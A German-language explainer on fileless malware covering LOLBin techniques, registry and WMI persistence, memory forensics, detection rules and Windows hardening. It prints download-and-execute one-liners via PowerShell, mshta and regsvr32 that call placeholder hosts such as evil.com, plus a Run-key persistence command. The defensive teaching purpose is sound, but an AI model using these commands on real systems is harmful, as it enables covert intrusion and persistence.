Fileless Malware - Angriffe ohne Dateisystem-Spuren

Fileless Malware bezeichnet Schadsoftware die keine ausführbaren Dateien auf der Festplatte ablegt, sondern vollständig im Arbeitsspeicher (RAM) oder in Windows-Registry-Keys, WMI-Event-Subscriptions oder geplanten Tasks existiert. Diese Technik umgeht signaturbasierte Antivirus-Software (die nach Dateien sucht) und erschwert forensische Analysen erheblich.

Wie Fileless Malware funktioniert

Bei traditioneller Malware läuft die Angriffskette so ab: Eine E-Mail enthält einen Anhang, die ausführbare Datei wird heruntergeladen und auf der Festplatte gespeichert - und genau dort findet der Antivirus sie anhand seiner Signatur und blockiert sie.

Fileless Malware bricht diese Kette an entscheidender Stelle auf: Eine E-Mail führt zu einem Link auf eine .hta-Datei oder ein Macro-Dokument, PowerShell lädt Code direkt aus dem Internet nach und führt ihn ausschließlich im RAM aus - keine Datei landet auf der Festplatte, der Antivirus findet nichts.

Warum diese Technik so effektiv ist

• AV-Signatur-Scanner suchen Dateien - ohne Datei kein Fund
• Nach einem Neustart ist der Payload im RAM zwar weg, aber Registry-Einträge oder WMI-Subscriptions für Persistenz bleiben erhalten
• Legitime Prozesse: PowerShell.exe ist von Microsoft signiert und umgeht Application-Allowlists
• Sandbox-Umgehung: Kurze Sandbox-Analysen zeigen kein auffälliges Verhalten

Fileless bedeutet allerdings nicht unsichtbar. Im RAM ist die Malware durch Memory Forensics erkennbar, ETW (Event Tracing for Windows) loggt PowerShell-Befehle, EDR-Lösungen erkennen Verhaltensanomalien und AMSI scannt PowerShell-Script-Inhalte vor der Ausführung.

Techniken und LOLBins

Living Off the Land Binaries (LOLBins) sind legitime Windows-Systemwerkzeuge, die Angreifer für fileless Angriffe missbrauchen:

1. PowerShell (häufigste Methode)

# Payload direkt aus Internet laden und ausführen:
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://c2.evil/payload.ps1')"

# Mit Base64-Encoding (Obfuskation):
powershell -EncodedCommand SQBFAFgAIA...  # base64(payload)

# Reflective PE Injection (in anderen Prozess):
$bytes = (New-Object Net.WebClient).DownloadData('http://c2/beacon.bin')
[System.Reflection.Assembly]::Load($bytes)

2. MSHTA (HTML Application Host)

mshta.exe http://evil.com/payload.hta

Die .hta-Datei liegt im Internet, nicht auf der Festplatte, und enthält VBScript oder JavaScript das wiederum PowerShell startet.

3. Regsvr32 (Squiblydoo-Technik)

regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll

Ein von Microsoft signiertes Binary, das COM-Objekte direkt aus dem Internet lädt - ohne Schreibvorgang auf dem Dateisystem.

4. WMI (Windows Management Instrumentation)

WMI-Event-Subscriptions können Payloads bei System-Events persistieren und starten - ohne Task Scheduler und ohne Dateien:

$filter = Set-WmiInstance -Namespace root\subscription `
  -Class __EventFilter -Arguments @{
    EventNamespace = 'root\cimv2'
    Name = 'UpdateTask'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    QueryLanguage = 'WQL'
  }

5. MSBuild

msbuild.exe payload.xml

Ein legitimes Microsoft-Tool das inline C#-Code aus einer XML-Datei kompiliert und ausführt - läuft ohne Verdacht durch viele Sicherheitskontrollen.

6. Reflective DLL Injection

Das bekannteste Beispiel ist Cobalt Strike Beacon: Die DLL wird nicht auf die Disk geschrieben, sondern direkt in den RAM eines Zielprozesses (z.B. notepad.exe) injiziert. Der Beacon stellt eine vollständige C2-Kommunikation bereit und existiert ausschließlich im Arbeitsspeicher.

7. Process Hollowing

Ein legitimer Prozess (z.B. svchost.exe) wird gestartet, sein Inhalt aus dem RAM gelöscht und durch Malware-Code ersetzt. Nach außen wirkt der Prozess völlig legitim.

Persistenz ohne Dateien

Registry-Persistenz

$payload = "powershell -ep bypass -e [BASE64_PAYLOAD]"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "WindowsUpdate" -Value $payload
# Startet bei jedem Login → kein .exe auf Disk

WMI-Subscription (stärkste Persistenz)

WMI-Subscriptions bestehen aus Event Filter, Consumer und Binding. Sie starten den Payload bei System-Events wie Neustart, Login oder zu bestimmten Zeiten und überleben Antivirus-Scans, Neustarts und manchmal sogar Neuinstallationen.

Erkennung:

Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer

PowerShell Profile

Das $PROFILE-Skript wird bei jedem PowerShell-Start ausgeführt. Angreifer können darin Download-and-Execute-Befehle eintragen. Zwar existiert die Datei profile.ps1 auf dem Dateisystem, aber sie enthält kein offensichtliches Binary.

Erkennung:

Test-Path $PROFILE  # $true? Dann Inhalt prüfen!
cat $PROFILE | grep -i "Invoke-Expression\|IEX\|WebClient"

Erkennung und Forensik

1. Memory Forensics (Volatility)

# RAM-Dump erstellen:
# (Windows) WinPmem: winpmem_mini_x64_rc2.exe --output mem.raw

# Verdächtige Prozesse:
volatility3 -f mem.raw windows.pslist | grep -E "powershell|mshta|wscript"

# Injizierte DLLs finden:
volatility3 -f mem.raw windows.malfind | head -50

# Netzwerkverbindungen:
volatility3 -f mem.raw windows.netscan

# PowerShell-History aus RAM:
volatility3 -f mem.raw windows.cmdline --pid [PS_PID]

2. ETW / PowerShell ScriptBlock Logging

PowerShell 5+ loggt alle Scripts wenn ScriptBlock Logging aktiviert ist (GPO: Computer Config → Admin Templates → Windows Components → Windows PowerShell → Turn on Script Block Logging: Enabled).

# Event ID 4104 im PowerShell/Operational Log:
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
  Where Id -eq 4104 |
  Select -First 20 |
  Format-List TimeCreated, Message

# Verdächtige Patterns: "IEX", "Invoke-Expression", "DownloadString", "Reflection.Assembly"

3. EDR-Verhaltensanalyse

EDR-Systeme erkennen charakteristische Muster: powershell.exe als Kind-Prozess von winword.exe, ausgehende Netzwerkverbindungen von PowerShell, Code-Injektion in svchost.exe sowie AMSI-Events für gescannte Script-Inhalte (PowerShell 5+).

4. WMI-Subscription-Audit

# Alle WMI-Subscriptions prüfen:
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer |
  Select Name, CommandLineTemplate

Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

5. Sysmon-Konfiguration

Sysmon Event ID 1 (Process Create mit CommandLine), Event ID 7 (Image Loaded) und Event ID 10 (Process Access, Injection) liefern wertvolle Erkennungsdaten:

<EventFiltering>
  <ProcessCreate onmatch="include">
    <CommandLine condition="contains">-EncodedCommand</CommandLine>
    <CommandLine condition="contains">DownloadString</CommandLine>
    <CommandLine condition="contains">mshta.exe http</CommandLine>
  </ProcessCreate>
</EventFiltering>

Schutzmaßnahmen

PowerShell-Härtung

# Constrained Language Mode (CLM) - verhindert die meisten Angriffe:
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

# PowerShell 2.0 deaktivieren (ermöglicht AMSI-Bypass!):
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

# ExecutionPolicy (kein vollständiger Schutz, aber Hürde):
Set-ExecutionPolicy AllSigned -Scope LocalMachine
# Nur signierte Scripts laufen

AMSI (Antimalware Scan Interface)

Windows 10+ scannt alle PowerShell-Scripts, VBA-Macros, JavaScript und .NET-Code über AMSI vor der Ausführung. EDR-Lösungen integrieren sich in AMSI-Events für zusätzliche Detection.

Application Control (AppLocker/WDAC)

Windows Defender Application Control (WDAC) erlaubt nur signierte Microsoft-Binaries. Kritisch ist dabei das Blockieren von LOLBins die selten legitim benötigt werden:

# AppLocker - spezifische Pfade/Signaturen:
New-AppLockerPolicy -RuleType Publisher, Path -User Everyone

LOLBin-Blocking

• mshta.exe: blockieren außer für spezifische Use-Cases
• regsvr32.exe: Script-Parameter blockieren
• msbuild.exe: blockieren außer für Entwickler-Workstations
• wscript.exe / cscript.exe: für Endbenutzer deaktivieren
• PowerShell: Script Block Logging + AMSI + Constrained Language Mode